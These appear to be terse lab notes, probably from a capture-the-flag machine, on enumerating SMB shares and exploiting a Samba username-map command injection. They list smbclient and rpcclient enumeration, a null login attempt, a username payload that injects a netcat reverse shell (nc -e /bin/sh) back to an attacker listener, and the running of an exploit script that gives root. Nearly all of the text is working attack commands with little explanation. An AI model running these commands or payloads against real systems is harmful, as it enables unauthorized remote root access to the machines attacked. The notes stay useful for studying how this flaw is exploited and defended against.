smbclient -L 10.x.x.x ..list shares
smbclient -H 10.x.x.x ..host detail
rpcclient -U "" 10.x.x.x ..null login attempt
smbclient //10.x.x.x/ADMIN$
smbclient //10.x.x.x/MyShare -U bob
> nc -nvlp 1234 ..listener
Send shell metacharacters into the username with a reverse shell payload.
> logon "/=`nohup nc -nv 10.10.14.6 4444 -e /bin/sh`"
> whoami.. root!
> nc -nvlp 4444 ..listener
> python2 usermap_script.py -h
> python2 usermap_script.py rhost 445 lhost 4444
> whoami .. root!
python3 didnt work
Use python2, pip2, and pysmb
python ImportError No module named smb.SMBConnection
> python2 --version ..2.7.18
> wget https://bootstrap.pypa.io/get-pip.py
> sudo python2.7 get-pip.py
> which pip2.7 ../usr/local/bin/pip2.7
> pip2.7 install pysmb